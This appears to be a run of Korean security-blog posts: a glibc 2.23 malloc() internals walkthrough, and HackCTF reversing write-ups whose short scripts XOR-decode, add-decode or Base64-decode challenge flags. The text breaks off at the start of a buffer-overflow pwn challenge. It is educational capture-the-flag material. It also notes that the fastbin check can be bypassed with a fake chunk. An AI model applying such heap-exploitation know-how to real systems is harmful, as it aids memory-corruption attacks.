#endif


#ifndef catomic_compare_and_exchange_val_acq
# ifdef __arch_c_compare_and_exchange_val_32_acq
#  define catomic_compare_and_exchange_val_acq(mem, newval, oldval) \
  __atomic_val_bysize (__arch_c_compare_and_exchange_val,acq,                 \
                       mem, newval, oldval)
# else
#  define catomic_compare_and_exchange_val_acq(mem, newval, oldval) \
  atomic_compare_and_exchange_val_acq (mem, newval, oldval)
# endif
#endif

사전에 정의되어 있는 내용 여부에 따라 다양한 정의 방식이 존재하였으며 동작 방식의 경우 주석문에서 확인할 수 있었습니다. mem 인자가 가리키는 곳의 값과 oldval의 값이 같을 경우 이를 newval의 값으로 변경하는 동작을 수행하였습니다.

조건을 분석해보면 fastbin에 존재하는 값이 'victim' 값과 동일할 경우 fastbin의 값을 'victim -> fd' 값으로 변경합니다. do{} 동작 중 'victim'의 값을 'pp'의 값으로 지정하였기 때문에 이는 참이되고 결과적으로 stack에서 pop을 하듯 다음 free chunk를 fastbin으로 이동하는 과정으로 해석할 수 있습니다.

Free chunk size check

위 과정이 정상적으로 수행되어 free chunk를 받아왔을 경우 해당 주소는 'victim' 변수에 기록되어 있습니다. 다음으로 진행하게 되는 코드의 경우 'victim' 값이 0이 아닐 경우에 아래 내용을 수행합니다.

Free chunk를 재할당하기 이전에 한 가지 조건문을 통한 검사를 진행하게 됩니다. 조건은 다음과 같습니다.

if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))

먼저 victim chunk의 size를 가져온 뒤 해당 size가 fastbin index에 해당되는지 확인합니다. 만약 fastbin index의 범위에 포함되지 않을 경우 "malloc(): memory corruption (fast)" error 문구를 출력하며 종료됩니다.

이와 같은 검사는 fd가 변조되어 의도되지 않은 공간에 chunk 할당을 시도할 때 예방할 수 있는 수단이 됩니다. 물론 이러한 검사 과정을 속이기 위해 기존 chunk와 같은 형태인 'fake chunk' 를 구성하여 우회하는 것이 가능합니다.

Allocate Chunk

모든 과정을 통과할 경우 fastbin에서 해당되는 chunk를 가져온 뒤 아래 코드를 수행한 뒤 반환합니다.

3390           check_remalloced_chunk (av, victim, nb);
3391           void *p = chunk2mem (victim);
3392           alloc_perturb (p, bytes);
3393           return p;

check_remalloced_chunk() 매크로의 경우 다시 do_check_remalloced_chunk() 함수를 호출하며 이는 flag bit, alignment 등 사항에 대해 검사를 수행하게 됩니다.

malloc()을 통해 할당하게 될 경우 실제로 반환하게 되는 주소는 mem 영역인데 이를 chunk2mem() 매크로를 통해 주소값을 변경하는 과정을 거치게 됩니다.

마지막으로 alloc_perturb() 호출하는데 이 함수는 다음과 같이 구현되어 있습니다.

static int perturb_byte;

static void 
alloc_perturb (char *p, size_t n)
{
  if (__glibc_unlikely (perturb_byte))
    memset (p, perturb_byte ^ 0xff, n);
}

mem 영역에 대해 memset() 함수를 호출하여 perturb_byte ^ 0xff 값으로 초기화하는데 이 값에 대해 선언만 존재할 뿐 별도로 값을 지정하는 과정이 존재하지 않습니다. 한 가지 확실한 점은 malloc()을 통해 chunk를 할당하게 될 경우에는 이전 값에 대한 초기화가 진행되지 않는다는 점입니다.

마지막으로 mem 영역의 주소값을 가지고 있는 p 값을 반환하며 종료됩니다.

Reference

• https://aidencom.tistory.com/699

이번 글을 시작으로 malloc() 함수와 free() 함수의 동작 방식에 대해 세부적으로 파헤쳐 볼 예정입니다. glibc의 version에 따라 세부 동작의 차이가 존재하기에 glibc 2.23, glibc 2.29, glibc 2.34 총 세 개의 version을 선정하였습니다.

위 버전을 선정한 기준으로는 가장 기초가 되는 version인 glibc 2.23, tcache와 일부 보호기법이 추가된 glibc 2.29, 작성일 기준 최근 배포판인 Ubuntu 21.10에서 사용되는 glibc 2.34로 선정하였습니다.

malloc() in glibc 2.23

먼저 malloc()의 호출 과정을 간단하게 정리하였습니다.

1. __libc_malloc() 호출
2. _malloc_hook이 NULL이 아닌지 검증
   • NULL이 아닐 경우 _malloc_hook의 값을 함수 포인터로 지정하여 실행
   • NULL일 경우 _int_malloc() 호출 과정으로 이동
3. _int_malloc() 호출

__libc_malloc()함수의 구현 코드는 아래와 같습니다.

void *
__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;

  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook);
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0));

  arena_get (ar_ptr, bytes);

  victim = _int_malloc (ar_ptr, bytes);
  /* Retry with another arena only if we were able to find a usable arena
     before.  */
  if (!victim && ar_ptr != NULL)
    {    
      LIBC_PROBE (memory_malloc_retry, 1, bytes);
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);
    }    

  if (ar_ptr != NULL)
    (void) mutex_unlock (&ar_ptr->mutex);

  assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
          ar_ptr == arena_for_chunk (mem2chunk (victim)));
  return victim;
}

Hook과 관련된 함수는 "Hook Overwrite Exploit" 에서 다룰 기회가 있기 때문에 이 글에서는 자세한 설명을 진행하지 않았습니다.

내부 코드를 살펴보면 먼저 두 개의 변수를 선언하는 것을 확인할 수 있습니다. mstate ar_ptr의 경우 malloc_state 구조체를 참조하며 여기서는 해당 chunk를 할당할 "arena"의 ptr 값을 할당합니다.

void *victim 의 경우 chunk의 할당이 이루어진 뒤 반환된 'mem' 영역의 주소를 저장하는 변수로 이후에 설명할 코드에서도 주요 행동 대상이 되는 항목을 'victim' 으로 명명된 함수를 이용합니다.

Hook

변수의 선언을 완료한 뒤 hook 값이 NULL이 아닌지 검사를 진행합니다. 기본적으로 NULL 값으로 초기화 되어있기 때문에 NULL이 아닌 경우에 대해서는 Hook Overwrite에서 설명을 진행하겠습니다.

arena_get

arena_get() 의 동작은 arena.c 파일에 정의되어 있었으며 그 내용은 다음과 같습니다.

#define arena_get(ptr, size) do {                                        \
    ptr = thread_arena;                                                  \
    arena_lock (ptr, size);                                              \
} while (0)

전달받은 인자를 통해 다시 arena_lock() 매크로를 호출하였고 이를 통해 교착 상태를 방지하기 위한 과정이 진행됨을 유추할 수 있었습니다.

_int_malloc()

위의 과정을 통해 arena에 대한 사전 준비까지 마친 뒤에 실제 chunk를 할당하기 위한 _int_malloc() 함수가 호출되었습니다. 실제 구현 코드의 양이 매우 많기에 임의로 구분지어 분석을 진행하였습니다.

Variable Declaration

3318 static void *
3319 _int_malloc (mstate av, size_t bytes)
3320 {
3321   INTERNAL_SIZE_T nb;               /* normalized request size */
3322   unsigned int idx;                 /* associated bin index */
3323   mbinptr bin;                      /* associated bin */
3324 
3325   mchunkptr victim;                 /* inspected/selected chunk */
3326   INTERNAL_SIZE_T size;             /* its size */
3327   int victim_index;                 /* its bin index */
3328 
3329   mchunkptr remainder;              /* remainder from a split */
3330   unsigned long remainder_size;     /* its size */
3331 
3332   unsigned int block;               /* bit map traverser */
3333   unsigned int bit;                 /* bit map traverser */
3334   unsigned int map;                 /* current word of binmap */
3335 
3336   mchunkptr fwd;                    /* misc temp for linking */
3337   mchunkptr bck;                    /* misc temp for linking */
3338 
3339   const char *errstr = NULL;

먼저 자료형에 대해 설명하자면 'mbinptr', 'mchunkptr' 둘 다 typedef struct malloc_chunk* 로 선언되었습니다.

typedef struct malloc_chunk* mchunkptr; typedef struct malloc_chunk *mbinptr;

'INTERNAL_SIZE_T'는 size_t 자료형과 같으며 이는 x86의 경우 4, x86-64의 경우 8 byte의 크기를 가집니다.

다음으로 요청된 size가 유효한 범위에 해당하는지, 사용 가능한 arena가 존재하는지 확인하는 구문이 존재합니다.

3341   /*
3342      Convert request size to internal form by adding SIZE_SZ bytes
3343      overhead plus possibly more to obtain necessary alignment and/or
3344      to obtain a size of at least MINSIZE, the smallest allocatable
3345      size. Also, checked_request2size traps (returning 0) request sizes
3346      that are so large that they wrap around zero when padded and
3347      aligned.
3348    */
3349 
3350   checked_request2size (bytes, nb);
3351 
3352   /* There are no usable arenas.  Fall back to sysmalloc to get a chunk from
3353      mmap.  */
3354   if (__glibc_unlikely (av == NULL))
3355     {
3356       void *p = sysmalloc (nb, av);
3357       if (p != NULL)
3358         alloc_perturb (p, bytes);
3359       return p;
3360     }

checked_request2size() 의 경우 define을 통해 macro로 정의되어 있으며 그 코드는 아래와 같습니다.

#define checked_request2size(req, sz)                             \
  if (REQUEST_OUT_OF_RANGE (req)) {                                           \
      __set_errno (ENOMEM);                                                   \
      return 0;                                                               \
    }                                                                         \
  (sz) = request2size (req);

요청된 크기가 유효한 범위 내에 존재할 경우 alignment를 위해 가공한 size를 반환합니다.

사용 가능한 arena가 존재하는지 확인하는 구문의 경우 인자로 전달받은 av 값이 NULL일 경우 sysmalloc() 을 호출하여 mmap() 으로부터 chunk를 가져옵니다. 이 과정에서 사용되는 __glibc_unlikely() 의 경우 Kernel 상에서 효율성을 위한 목적으로 사용 가능한 함수로 자세한 내용은 링크에서 참조할 수 있습니다.

Reference

• https://m.blog.naver.com/eleexpert/140123898205

malloc_state 구조체는 Heap의 구성 요소 중 "Arena" 가 정의되어 있는 구조체입니다. Main Arena의 경우 malloc_state 구조체를 main_arena 라는 이름의 전역 변수로 선언합니다.

아래는 glibc 2.23 기준 malloc_state의 선언부입니다.

struct malloc_state
{
  /* Serialize access.  */
  __libc_lock_define (, mutex);
  /* Flags (formerly in max_fast).  */
  int flags;

  /* Fastbins */
  mfastbinptr fastbinsY[NFASTBINS];
  /* Base of the topmost chunk -- not otherwise kept in a bin */
  mchunkptr top;
  /* The remainder from the most recent split of a small request */
  mchunkptr last_remainder;
  /* Normal bins packed as described above */
  mchunkptr bins[NBINS * 2 - 2];

  /* Bitmap of bins */
  unsigned int binmap[BINMAPSIZE];

  /* Linked list */
  struct malloc_state *next;
  /* Linked list for free arenas.  Access to this field is serialized
     by free_list_lock in arena.c.  */
  struct malloc_state *next_free;
  /* Number of threads attached to this arena.  0 if the arena is on
     the free list.  Access to this field is serialized by
     free_list_lock in arena.c.  */

  INTERNAL_SIZE_T attached_threads;
  /* Memory allocated from the system in this arena.  */
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

typedef struct malloc_state *mstate;

위에서 선언된 malloc_state 구조체를 사용하여 아래와 같이 main_arena의 선언을 진행합니다.

static struct malloc_state main_arena =
{
  .mutex = _LIBC_LOCK_INITIALIZER,
  .next = &main_arena,
  .attached_threads = 1
};

모든 항목에 대하여 정의를 진행하진 않고 필수 요소에 대해서만 정의된 것을 확인할 수 있습니다. 아래는 실제 프로그램 상에서 main_arena의 상태를 확인한 결과입니다.

gef➤  p &main_arena
$3 = (struct malloc_state *) 0x7f77938e9b20 <main_arena>
gef➤  p *(struct malloc_state *) 0x7f77938e9b20
$4 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x0, 
  last_remainder = 0x0, 
  bins = {0x0 <repeats 254 times>}, 
  binmap = {0x0, 0x0, 0x0, 0x0}, 
  next = 0x7f77938e9b20 <main_arena>, 
  next_free = 0x0, 
  attached_threads = 0x1, 
  system_mem = 0x0, 
  max_system_mem = 0x0
}

실행 이후 추가적인 동작을 진행하지 않았기에 malloc.c 에서 정의된 이외에는 0x0의 값으로 초기화 되어있는 점을 확인할 수 있습니다.

Heap 영역에서는 chunk라는 단위로 메모리를 관리합니다. Chunk에 관한 정의는 malloc.c 파일의 malloc_chunk 구조체로 정의되어 있으며 내용은 아래와 같습니다.

struct malloc_chunk {
  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk, if it is free. */
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;                /* double links -- used only if this chunk is free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
  struct malloc_chunk* bk_nextsize;
};

typedef struct malloc_chunk* mchunkptr;

정의된 내용을 가반으로 chunk의 상태에 따라 allocated chunk와 freed chunk로 구분할 수 있습니다. 두 chunk의 차이점을 설명하기 이전에 먼저 공통점을 설명하겠습니다.

prev_size & size

malloc_chunk 구조체에는 두 개의 INTERNAL_SIZE_T 타입의 변수가 존재합니다.

prev_size의 경우 인접한 이전 chunk의 size 값을 저장하고 있습니다. 이는 인접한 이전 chunk가 freed chunk일 때 값이 저장됩니다.

size의 경우 현재 chunk의 size 값을 저장하고 있습니다. 여기서 size는 요청한 크기가 아닌 overhead를 포함한 실제 할당된 크기를 의미합니다. size의 경우 하위 3 bit는 flag 목적으로 예약되어 있습니다.

Flag

Chunk의 상태를 관리하기 위한 flag로 순서대로 A, M, P flag가 존재합니다. 각 flag를 가중치 코드로 변환할 경우 A = 4, M = 2, P = 1의 값을 가집니다.

A(NON_MAIN_ARENA)

A flag는 해당 chunk가 main arena가 아닌 다른 arena에 의해 관리될 경우 이를 "set" 으로 설정합니다. 따라서 Sub thread에 의해 생성된 chunk는 이 값을 항상 "set" 으로 가지게 됩니다.

M(IS_MMAPPED)

mmap() 함수를 통해 할당된 경우 해당 bit를 "set" 으로 설정합니다.

P(PREV_INUSE)

P flag는 물리적으로 인접한 이전 chunk가 사용 중(allocated)일 경우 해당 bit를 "set" 으로 설정합니다. 만약 인접한 이전 chunk가 free 될 경우 현재 chunk의 P flag를 0으로 지정하며 이전 chunk의 size를 현재 chunk의 prev_size에 저장합니다.

이론적으로는 chunk의 size에 대한 언급이 존재하지 않지만, 실제 분석을 하게 될 경우 tcache, fastbin에서는 P flag의 변경이 이루어지지 않는 것을 확인할 수 있었습니다. 이에 대한 내용은 free() 함수 분석 시 기술할 예정입니다.

Allocated Chunk

Allocated Chunk의 경우 malloc_chunk의 구조체에서 fd, bk, fd_nextsize, bk_nextsize 항목을 사용하지 않습니다. 아래 내용은 allocated chunk의 구조를 형상화한 것 입니다.

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of chunk, in bytes                     |A|M|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             User data starts here...                          .
            .                                                               .
            .             (malloc_usable_size() bytes)                      .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             (size of chunk, but used for application data)    |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|1|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

실제로 할당을 진행하게 되면 return 값이 가리키는 주소는 mem 위치가 됩니다. 또한 기존의 fd, bk, fd_nextsize, bk_nextsize 공간은 User Data를 저장하며 다음 chunk의 prev_size 또한 User Data를 저장하는데 활용될 수 있습니다.

Freed Chunk

Freed Chunk의 경우 chunk의 size에 따라 다른 동작을 수행하게 됩니다.

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of previous chunk, if unallocated (P clear)  |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `head:' |             Size of chunk, in bytes                     |A|0|P|
      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Forward pointer to next chunk in list             |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Back pointer to previous chunk in list            |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Unused space (may be 0 bytes long)                .
            .                                                               .
            .                                                               |
nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
    `foot:' |             Size of chunk, in bytes                           |
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
            |             Size of next chunk, in bytes                |A|0|0|
            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Size에 따라 적절한 처리 과정을 거쳐 bin list에 저장되며 bin list를 유지하기 위해 필요한 값들이 setting 됩니다. 자세한 내용에 대해서는 각 bin list 분석 중 설명할 예정입니다.

Reference

• https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_chunk

먼저 문제 파일을 확인해보면 64bit ELF 파일임을 확인할 수 있었습니다. 프로그램을 실행할 경우 입력값을 요구하였고 이후 어떤 내용을 출력해주며 실행은 종료되었습니다.

root@e60a28c09eb6:~/hackctf/strncmp# ./strncmp
Enter your input:
TestHaHaHa
Always dig deeper

Always dig deeper 라는 문자가 계속 출력되는 것을 보아 이를 일치하지 않는 값에 대한 출력으로 판단하였으며 gdb를 사용하여 입력값을 비교하는 routine을 분석하였습니다.

기본적으로 main() 함수 외에 strcmp_(), check() 함수가 존재하였으며 입력값을 비교하는 부분은 strcmp_()에서 진행되었습니다.

해당 함수의 마지막 부분에서 sstrncmp() 함수를 호출하는 것을 확인할 수 있었고 아래와 같이 사용되는 argument를 통해 요구되는 입력값을 찾을 수 있었습니다.

[-------------------------------------code-------------------------------------]
   0x40075c <strcmp_+134>:    mov    edx,0x1c
   0x400761 <strcmp_+139>:    mov    rsi,rcx
   0x400764 <strcmp_+142>:    mov    rdi,rax
=> 0x400767 <strcmp_+145>:    call   0x400560 <strncmp@plt>
   0x40076c <strcmp_+150>:    add    rsp,0x28
   0x400770 <strcmp_+154>:    pop    rbx
   0x400771 <strcmp_+155>:    pop    rbp
   0x400772 <strcmp_+156>:    ret
Guessed arguments:
arg[0]: 0x7fffffffebf0 --> 0x74736554 ('Test')
arg[1]: 0x7fffffffec10 ("OfdlDSA|3tXb32~X3tX@sX`4tXtz")
arg[2]: 0x1c
arg[3]: 0x7fffffffec10 ("OfdlDSA|3tXb32~X3tX@sX`4tXtz")
[------------------------------------stack-------------------------------------]

위에서 찾은 값을 입력할 경우 다른 결과를 보여주는 것을 확인할 수 있었습니다.

root@e60a28c09eb6:~/hackctf/strncmp# ./strncmp
Enter your input:
OfdlDSA|3tXb32~X3tX@sX`4tXtz
Good game

Exploit

flag로 추정되는 혹은 flag를 얻는데 도움이되는 값을 획득하였지만 이를 encoding 한 방법을 찾는데 다소 어려움이 있었습니다. 먼저 ghidra를 통해 decompile 결과를 확인하던 중 아래와 같이 xor 연산을 통해 encoding 하는 점을 확인할 수 있었습니다.

param_1[local_1c] = (byte)key ^ param_1[local_1c];

위 연산을 진행할 때 'key' 라는 변수에 지정된 값을 이용하였는데 gdb를 통해 아무리 확인하여도 0의 값을 가질 뿐 달라지는 점을 알 수 없었습니다.

무엇보다 check() 함수의 동작을 보면 더욱이 0의 값을 가질 수 밖에 없어보였습니다.

  key = atoi(*(char **)(param_2 + 8));
  if ((key + -0xe) * key != -0x31) {
    key = 0;
  }

key가 특정 공식을 만족하지 못할 경우 key 값을 0으로 지정하는 점을 확인할 수 있었습니다. 처음 문제를 풀 당시에는 저 공식을 이해하지 못하여 답에 접근하지 못하였는데 아래와 같이 치환할 경우 이해하기 쉬웠습니다.

(key - 14) * key = -49

위 공식을 만족하는 값은 '7'로 이를 key 값으로 설정하여 decoding을 진행할 경우 flag를 획득할 수 있었습니다.

```python
#!/usr/bin/python3

 enc_flag = "OfdlDSA|3tXb32~X3tX@sX`4tXtz"
 key = 7 
 dec_flag = [0] * len(enc_flag)

 for i in range(len(enc_flag)):
     dec_flag[i] = chr(ord(enc_flag[i]) ^ key)

 print("".join(dec_flag))

문제 파일을 다운로드 받으면 64bit ELF 파일임을 확인할 수 있었습니다. 먼저 프로그램을 실행할 경우 아래 내용을 출력해준 뒤 동작을 종료하는 것을 확인할 수 있었습니다.

persian@Code-PAPA  /tmp  ./handray 
flag를 뛰어넘었습니다!

인자를 전달해야 하는 문제인가 싶어 임의의 값도 입력해 보았으나 유효한 결과를 얻진 못하였습니다.

GDB를 통해 먼저 사용되는 함수의 목록을 살펴보았으나 main() 함수 외에 특별한 함수는 찾을 수 없었습니다. main() 함수를 분석하던 중 flag와 관련되어 보이는 값을 확인할 수 있었습니다.

   0x0000000000400577 <+81>:    mov    esi,0x6010e0
   0x000000000040057c <+86>:    mov    edi,0x400638
   0x0000000000400581 <+91>:    mov    eax,0x0
   0x0000000000400586 <+96>:    call   0x400400 <printf@plt>

위 명령을 실행하기 위해서는 몇 가지 조건을 맞춰줄 필요가 있었으며 사용되는 인자를 바탕으로 아래 값임을 유추할 수 있었습니다.

flag is  A]`j?NCz?eiHb:R^CkdA.jaP+F+..jb!}

이 값에서 마지막 문자가 '}'로 끝나는 것을 보아 encoding 된 flag 값이지 않을까 생각하게 되었고 프로그램의 흐름을 역으로 따라가며 분석하였습니다.

   0x0000000000400544 <+30>:    mov    eax,DWORD PTR [rbp-0x8]
   0x0000000000400547 <+33>:    cdqe   
   0x0000000000400549 <+35>:    movzx  eax,BYTE PTR [rax+0x6010e0]
   0x0000000000400550 <+42>:    mov    edx,eax
   0x0000000000400552 <+44>:    mov    eax,DWORD PTR [rbp-0x8]
   0x0000000000400555 <+47>:    cdqe   
   0x0000000000400557 <+49>:    mov    eax,DWORD PTR [rax*4+0x601060]
   0x000000000040055e <+56>:    add    eax,edx
   0x0000000000400560 <+58>:    mov    edx,eax
   0x0000000000400562 <+60>:    mov    eax,DWORD PTR [rbp-0x8]
   0x0000000000400565 <+63>:    cdqe   
   0x0000000000400567 <+65>:    mov    BYTE PTR [rax+0x6010e0],dl
   0x000000000040056d <+71>:    add    DWORD PTR [rbp-0x8],0x1
   0x0000000000400571 <+75>:    cmp    DWORD PTR [rbp-0x8],0x1e
   0x0000000000400575 <+79>:    jle    0x400544 <main+30>

위 코드에서 기존 encoding 값과 비슷한 위치에서 참조하는 다른 값이 있는 점을 확인할 수 있었고 확인한 결과 4 Byte 단위로 다른 값이 있는 것을 보아 int 값임을 추측할 수 있었습니다.

gdb-peda$ x/50wx 0x601060
0x601060 <array>:    0x00000007    0x00000004    0x00000003    0x00000001
0x601070 <array+16>:    0x00000004    0x00000006    0x00000003    0x00000001
0x601080 <array+32>:    0x00000009    0x0000000a    0x0000000b    0x0000000c
0x601090 <array+48>:    0x0000000d    0x0000000e    0x0000000f    0x00000010
0x6010a0 <array+64>:    0x00000001    0x00000001    0x00000001    0x00000002
0x6010b0 <array+80>:    0x00000002    0x00000002    0x00000003    0x00000004
0x6010c0 <array+96>:    0x00000005    0x00000002    0x00000005    0x00000002
0x6010d0 <array+112>:    0x00000002    0x00000002    0x00000002    0x00000002
0x6010e0 <string>:    0x6a605d41    0x7a434e3f    0x4869653f    0x5e523a62
0x6010f0 <string+16>:    0x41646b43    0x50616a2e    0x2e2b462b    0x21626a2e
0x601100 <string+32>:    0x0000007d

두 변수를 호출하는 것과 add와 같이 연산하는 과정이 있는 것을 토대로 연관성 있는 값이라고 판단되어 가설을 바탕으로 exploit code를 작성하였습니다.

Exploit

Exploit code를 작성할 때 가장 처음의 가설은 실제 flag 값에서 array의 값을 각 글자에 더한 값이 string의 값이라고 추정하였습니다. 그 근거로 array에는 총 32개의 숫자가, string에는 33자가 있기에 마지막 '}' 문자는 영향을 받지 않았을 거라 판단했기 때문입니다.

따라서 처음에는 string에서 array의 값을 뺄셈으로 진행하였습니다. 그러나 그럴듯한 값을 얻을 수 없었고 이에 덧셈으로 진행하여 flag 값을 획득할 수 있었습니다. Flag 형식에 맞는 값을 구하였음에도 인증에 실패하여 다시 확인한 결과 cmp DWORD PTR [rbp-0x8],0x1e 명령으로 인해 30(0x1e)번째까지만 encoding을 진행하는 점을 확인할 수 있었습니다.

따라서 이러한 내용들을 모두 반영하여 최종적으로 아래와 같은 exploit code를 작성하였습니다.

#!/usr/bin/python3

import struct

_string_offset = 0x000010D8+0x8
_array_offset = 0x00001054+0xc
salt = [0]*33
dec_flag = ""

with open("/tmp/handray", "rb") as f:
    data = f.read()
    enc_flag = data[_string_offset:_string_offset+33].decode('utf-8')
    array = data[_array_offset:_array_offset+120]

def toTheNumeric(array):
    for i in range(int(len(array)/4)):
        salt[i] = struct.unpack("<I", array[i*4:i*4+4])[0]

def decoding(enc_flag, salt):
    enc = list(enc_flag)
    global dec_flag
    for i in range(len(enc_flag)):
        dec_flag += chr(ord(enc[i]) + salt[i])

toTheNumeric(array)
decoding(enc_flag, salt)
print(dec_flag)

위 코드에서 offset의 경우 hexedit을 통해 구하였습니다.

이번 문제의 경우 C source code가 제공된 문제였습니다. main() 함수 하나로 구성된 문제였으며 내용은 다음과 같습니다.

#include <stdio.h>
#include <string.h>

int main() {
    int i;
    char *serial = "H`cjCUFzhdy^stcbers^D1_x0t_jn1w^r2vdrre^3o9hndes1o9>}";
    char enter[54];
    printf("키를 입력하시게 : ");
    scanf("%s", enter);
    if (strlen(enter) == strlen(serial)) {
        for (i = 0; i < strlen(serial) && (enter[i] ^ (i % 2)) == serial[i]; i++);
        if (i - 1 == strlen(enter))
            printf("정답일세!\n");
    }
    else
        printf("그건 아닐세...\n");
        exit(0);

}

serial 변수에 저장된 값이 flag와 관련된 값으로 보였으며 입력값과 비교하여 그에 따른 동작을 수행하는 것으로 파악되었습니다.

code를 분석하던 중 for() 구문에서 특이한 점을 확인할 수 있었습니다. 조건으로 제시된 부분에 (enter[i] ^ (i % 2)) == serial[i] 내용이 존재하였는데 이를 통해 일치 여부를 판단하였습니다.

해당 내용을 더 분석해보면 입력값과 i % 2 결과를 XOR한 값을 serial과 비교하는 내용이었는데 이를 통해 XOR 암호화 방식임을 알 수 있었습니다.

Exploit

XOR 암호화의 경우 아래 공식에 따른 역연산이 가능합니다.

A ^ B = C에서 임의의 값 B는 A ^ C = B를 만족한다.

이 문제의 경우 B를 flag 값이라고 가정하였을 때 A에 i % 2를, C에 serial 값을 대입하여 문제를 풀이할 수 있습니다. 간단한 스크립트인 만큼 C 언어를 이용하여 exploit을 진행하였습니다.

#include <stdio.h>
#include <string.h>

int main(){
        int i;
        char *serial = "H`cjCUFzhdy^stcbers^D1_x0t_jn1w^r2vdrre^3o9hndes1o9>}";
        char answer[54];

        for(i = 0; i < strlen(serial); i++){
                answer[i] = serial[i] ^ (i % 2); 
        }

        printf("Flag: %s\n", answer);

        return 0;
}

HackCTF의 가장 첫 번째 Reversing 문제입니다. 우선 이 문제의 경우 32bit ELF 파일이었기에 gdb를 이용하여 분석을 진행하였습니다. 간단하게 프로그램을 실행시켜보면 특정 인자를 필요로 하는 것으로 보였습니다.

persian@Code-PAPA:~/Downloads$ ./welcome_rev 
Please provide a password!

인자로 전달할 문자열을 입력하자 Incorrect Password라는 문구가 출력되는 것을 보아 입력값을 비교하는 과정이 존재함을 추측할 수 있었습니다.

persian@Code-PAPA:~/Downloads$ ./welcome_rev test
Incorrect Password!

GDB를 사용하여 분석을 진행할 때 먼저 비교와 관련된 함수가 별도로 존재하는지 확인하였습니다.

0x0804851b  check_password
0x08048737  main

main 함수와 별개로 check_password() 함수가 존재하는 것을 확인할 수 있었으며, main() 함수는 check_password() 함수의 결과값을 토대로 동작하는 것을 확인할 수 있었습니다.

Exploit

check_password() 함수를 완전히 분석하기 이전에 'cmp', 'strcmp()'와 같이 비교에 사용되는 부분을 위주로 살펴보았습니다. 만약 hard coding 되어있는 값과 비교할 경우 이 부분을 통해서도 정답을 얻을 수 있었기 때문입니다.

총 다섯 개의 cmp 명령과 한 번의 strncmp() 호출을 찾을 수 있었으며 그 중 strncmp() 함수에서 사용하는 인수 중 유의미한 값을 확인할 수 있었습니다.

SGFja0NURnt3M2xjMG0zXzcwX3IzdjNyNTFuNl93MHJsZEBfQCFfIX0=

해당 문자열의 끝이 '=' 문자로 끝나는 것을 보아 Base64 Type으로 유추하여 decoding을 진행하였고 flag를 획득할 수 있었습니다.

우선 문제 파일을 다운로드 받은 후 checksec을 통해 적용되어 있는 보호기법을 확인하였습니다.

root@e60a28c09eb6:~/hackctf/unexploitable_1# checksec unexploitable_1
[*] '/root/hackctf/unexploitable_1/unexploitable_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

프로그램을 실행할 경우 특정 문구를 출력 후 입력 대기 상태가 되었습니다.

root@e60a28c09eb6:~/hackctf/unexploitable_1# ./unexploitable_1
Easy RTL ha? You even have system@plt!
asdf

Ghidra를 사용하여 확인한 결과로는 모든 동작을 수행하는 main 함수와 일반적으로는 호출되지 않는 gift 함수가 존재하였습니다.

• main 함수

undefined8 main(void)

{
  char local_18 [16];

  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  fwrite("Easy RTL ha? You even have system@plt!\n",1,0x27,stdout);
  fflush(stdin);
  fgets(local_18,0x40,stdin);
  return 0;
}

• gift 함수

void gift(void)

{
  system("use this system gadget :D");
  return;
}

